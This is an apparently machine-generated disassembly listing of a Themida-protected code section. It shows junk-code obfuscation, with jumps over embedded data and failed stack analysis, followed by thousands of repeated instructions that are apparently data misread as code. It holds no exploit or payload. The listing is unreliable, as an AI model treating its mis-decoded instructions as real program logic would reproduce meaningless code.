Themida_:loc_60529Fp mov edx, 0D441B847h sbb ah, [edi+5Fh] mov esi, ebx or dx, 870Fh mov cl, 7Eh movsx edi, cx push eax mov ecx, esi pop edx mov ecx, edx mov al, 0D0h jmp loc_6052D8 ; --------------------------------------------------------------------------- db 75h dd 0A4A5EA37h, 3BA9904Eh, 982D6FE4h ; --------------------------------------------------------------------------- loc_6052D8: ; CODE XREF: Themida_:006052C6j xor dh, 0ABh sub bx, 0C51Ch and bx, 0B3BBh jmp loc_6052FA ; --------------------------------------------------------------------------- dw 808h dd 0C8E4465Fh, 0A6396C5h, 0A7A45CCFh db 0D6h, 5 ; --------------------------------------------------------------------------- loc_6052FA: ; CODE XREF: Themida_:006052E5j call sub_605309 rep mov ebx, 36679CE7h jp short loc_605370 adc al, 7Ah ; =============== S U B R O U T I N E ======================================= sub_605309 proc near ; CODE XREF: Themida_:loc_6052FAp jp loc_605311 mov edi, ebx loc_605311: ; CODE XREF: sub_605309j pop ebx jmp loc_605323 ; --------------------------------------------------------------------------- sahf push edx inc ecx cmp eax, 0BD027DB0h lds ecx, [ecx+39h] das loc_605323: ; CODE XREF: sub_605309+9j movzx edx, dx pusha jmp loc_605333 ; --------------------------------------------------------------------------- dd 55662A8Ch db 69h, 0DDh, 0E6h ; --------------------------------------------------------------------------- loc_605333: ; CODE XREF: sub_605309+1Ej jnp loc_60533A stc loc_60533A: ; CODE XREF: sub_605309:loc_605333j popa mov dx, 0A42h mov ch, ah jnb loc_60534F push ebx and ebx, 3E7A2635h pop esi loc_60534F: ; CODE XREF: sub_605309+38j mov eax, 1BBA42FFh push ebx pop edx mov eax, 1E0AA39Ah mov ax, 9D58h movsx edx, di jg loc_605369 stc loc_605369: ; CODE XREF: sub_605309+59j adc bh, 71h mov bh, 0D9h mov ecx, edi loc_605370: ; CODE XREF: Themida_:00605305j push ecx adc ecx, 1453CB24h pop ebx mov bx, si xor edx, 0D22E979h jmp loc_60538D ; --------------------------------------------------------------------------- cmp al, dh cwde aad 0FCh test al, 0A1h loc_60538D: ; CODE XREF: sub_605309+78j push edi mov dx, 2BD1h pop ecx jns $+6 cld jmp loc_6053A7 ; --------------------------------------------------------------------------- db 0EEh dd 63E2A867h db 2 dup(76h), 0E3h ; --------------------------------------------------------------------------- loc_6053A7: ; CODE XREF: sub_605309+91j pusha pusha js $+6 jmp loc_6053BF ; --------------------------------------------------------------------------- dd 8FD7DE8Dh, 0A23D6B4Ah db 3Fh, 8Ch, 41h ; --------------------------------------------------------------------------- loc_6053BF: ; CODE XREF: sub_605309+A6j popa jmp loc_6053D2 ; --------------------------------------------------------------------------- db 40h, 12h, 0BBh dd 3D3EA524h, 0B3407F97h db 0EFh, 0B3h ; --------------------------------------------------------------------------- loc_6053D2: ; CODE XREF: sub_605309+B7j popa and ebx, 1745D176h and bx, 0E35Bh sub bx, 5E4Ah mov ax, di call sub_6053F8 lds esp, [esi+52EEA4C5h] xor [edi], esp sub al, 0B2h icebp pop ecx dec ebx sub_605309 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6053F8 proc near ; CODE XREF: sub_605309+DDp push ebx mov ecx, 3F345CFBh pop esi pop esi jmp loc_60540E ; --------------------------------------------------------------------------- db 24h, 9Ch, 0F2h dd 0E34FF5A9h db 3, 1Ch ; --------------------------------------------------------------------------- loc_60540E: ; CODE XREF: sub_6053F8+8j sbb eax, 559D8D34h mov ecx, 79B187E0h sub ebx, 32A9077Ah ; CODE XREF: Themida_:00605474j mov ecx, ebx jle loc_605429 mov eax, edi loc_605429: ; CODE XREF: sub_6053F8+29j mov bl, 25h call near ptr loc_605437+1 push esp cmpxchg [edi], bh mov dl, dl inc ebx loc_605437: ; CODE XREF: sub_6053F8+33p call far ptr 5B2Fh:0DBC08166h sub_6053F8 endp ; sp-analysis failed sbb ecx, 4F973659h pusha push eax pusha popa pop eax push ecx jmp loc_605462 ; --------------------------------------------------------------------------- mov ss, word ptr [ecx-55EBA6E0h] or eax, 364A9099h cmpsd enter 202Eh, 1Ch aas inc esi inc esp loc_605462: ; CODE XREF: Themida_:0060544Aj pop ecx popa call loc_605479 test [eax], al out 0F1h, al ; AT 80287 Reset. ; Coprocessor is reset from protected mode to real mode and eax, 2E449A37h db 64h inc esi jecxz short near ptr loc_605419+5 outsb pop eax push edx loc_605479: ; CODE XREF: Themida_:00605464p or ecx, 2356835Bh pop edi mov al, 36h les ecx, [eax] push ds sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl sbb al, 0C4h or [esi], bl shr dword ptr [ebp-522E21E1h], 1 pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 